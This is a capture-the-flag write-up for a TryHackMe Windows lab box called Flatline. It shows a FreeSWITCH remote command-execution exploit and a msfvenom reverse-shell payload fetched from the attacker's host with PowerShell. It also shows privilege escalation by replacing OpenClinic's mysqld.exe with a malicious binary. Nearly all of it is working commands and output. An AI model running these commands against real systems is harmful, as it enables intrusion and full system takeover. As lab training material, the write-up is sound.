CTF : Flatline

CTF Flatline writeup. Source THM. Announced difficulty level: Easy

Posted by Boula-Bytes on 29 May 2022

CTF : Flatline

Informations

  • IP: 10.10.122.197
  • MYIP: 10.8.98.126

First enumeration

Basics

  • NMAP
console
sudo nmap -Pn -p- 10.10.122.197 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:37 CEST Nmap scan report for 10.10.122.197 Host is up (0.041s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 3389/tcp open ms-wbt-server 8021/tcp open ftp-proxy sudo nmap -Pn -p3389,8021 -A 10.10.122.197 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 13:40 CEST Nmap scan report for 10.10.122.197 Host is up (0.038s latency). PORT STATE SERVICE VERSION 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=WIN-EOM4PK0578N | Not valid before: 2022-05-28T11:25:23 |_Not valid after: 2022-11-27T11:25:23 |_ssl-date: 2022-05-29T11:40:55+00:00; +1s from scanner time. | rdp-ntlm-info: | Target_Name: WIN-EOM4PK0578N | NetBIOS_Domain_Name: WIN-EOM4PK0578N | NetBIOS_Computer_Name: WIN-EOM4PK0578N | DNS_Domain_Name: WIN-EOM4PK0578N | DNS_Computer_Name: WIN-EOM4PK0578N | Product_Version: 10.0.17763 |_ System_Time: 2022-05-29T11:40:54+00:00 8021/tcp open freeswitch-event FreeSWITCH mod_event_socket Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: specialized Running (JUST GUESSING): AVtech embedded (87%) Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 36.35 ms 10.8.0.1 2 36.74 ms 10.10.122.197 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds

Vulnerabilities search

Ok so it seems to be a windows host.

There are two open ports, let's see if we find anything usefull...

console
searchsploit freeswitch ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- FreeSWITCH - Event Socket Command Execution (Metasploit) | multiple/remote/47698.rb FreeSWITCH 1.10.1 - Command Execution | windows/remote/47799.txt ------------------------------------------------------------------------------------- ---------------------------------

Let's try the second one :

console
searchsploit -m windows/remote/47799.txt Exploit: FreeSWITCH 1.10.1 - Command Execution URL: https://www.exploit-db.com/exploits/47799 Path: /usr/share/exploitdb/exploits/windows/remote/47799.txt File Type: Python script, ASCII text executable Copied to: /home/boula/CTF/flatline/47799.txt mv 47799.txt freeswitch-exploit.py

Now we can test the script :

console
python3 freeswitch-exploit.py 10.10.122.197 whoami Authenticated Content-Type: api/response Content-Length: 25 win-eom4pk0578n\nekrotic

It seems to work !

Exploit

It would be great to have a reverse shell. After trying some onlie code, I tried msfvenom :

console
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.98.126 LPORT=1234 -f exe > shell.exe

Now we need to upload the shell to the remote host.

So I set a basic http server :

console
python3 -m http.server

Now I can use the exploit to call powershell and connect to my http server to download shell.exe

console
python3 exploit.py 10.10.122.197 "powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/shell.exe -OutFile shell.exe"

Then I can use nc on my box :

console
nc -nlvp 1234

After that I can invoke shell.exe on the target side

console
python3 freeswitch-exploit.py 10.10.122.197 '.\shell.exe'

And we got a shell :)

Privilege escalation

Enumeration for privesc

First we go to c:\users\Nekrotic\Desktop to get the user flag

console
type c:\Users\Nekrotic\Desktop\user.txt THM{****}

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Now we have to find how to privesc...

I download winpeas.bat and upload it to the target to find informations :

console
c:\> powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/winpeas.bat -OutFile .\winpeas.bat c:\> .\winpeas.bat

Dawned the script never finished...

So let's dig manually :)

There is a "projects" dir in c:\ with a sub dir called openclinic.

console
searchsploit openclinic ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- OpenClinic GA 5.194.18 - Local Privilege Escalation | windows/local/50448.txt ------------------------------------------------------------------------------------- ---------------------------------
console
searchsploit -m windows/local/50448.txt Exploit: OpenClinic GA 5.194.18 - Local Privilege Escalation URL: https://www.exploit-db.com/exploits/50448 Path: /usr/share/exploitdb/exploits/windows/local/50448.txt File Type: ASCII text Copied to: /home/boula/CTF/flatline/50448.txt
console
cat 50448.txt [...] # Details # By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below. # A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. # While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file. [...]

So basicaly we could generate another reverse shell with msfvenom and replace mysqld.exe with the malicious one... Let's do that !

Exploit

On target side

console
cd c:\projects\openclinic\mariadb\bin ren mysqld.exe mysqld.exe.old powershell.exe Invoke-WebRequest -Uri http://10.8.98.126:8000/mysqld.exe -OutFile .\mysqld.exe

Here we are now we just have to listen for an incomming connection after reboot the target :

console
shutdown /r /t 1

Now we have to wait...

Yes ! After a few wait I receive an incomming connection :

console
nc -nlvp 1235 listening on [any] 1235 ... connect to [10.8.98.126] from (UNKNOWN) [10.10.122.197] 49670 Microsoft Windows [Version 10.0.17763.737] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>

Now we just have to go to nekrotic Desktop dir and read root.txt :)

console
C:\Windows\system32>type c:\users\nekrotic\desktop\root.txt type c:\users\nekrotic\desktop\root.txt THM{****} C:\Windows\system32>

\o/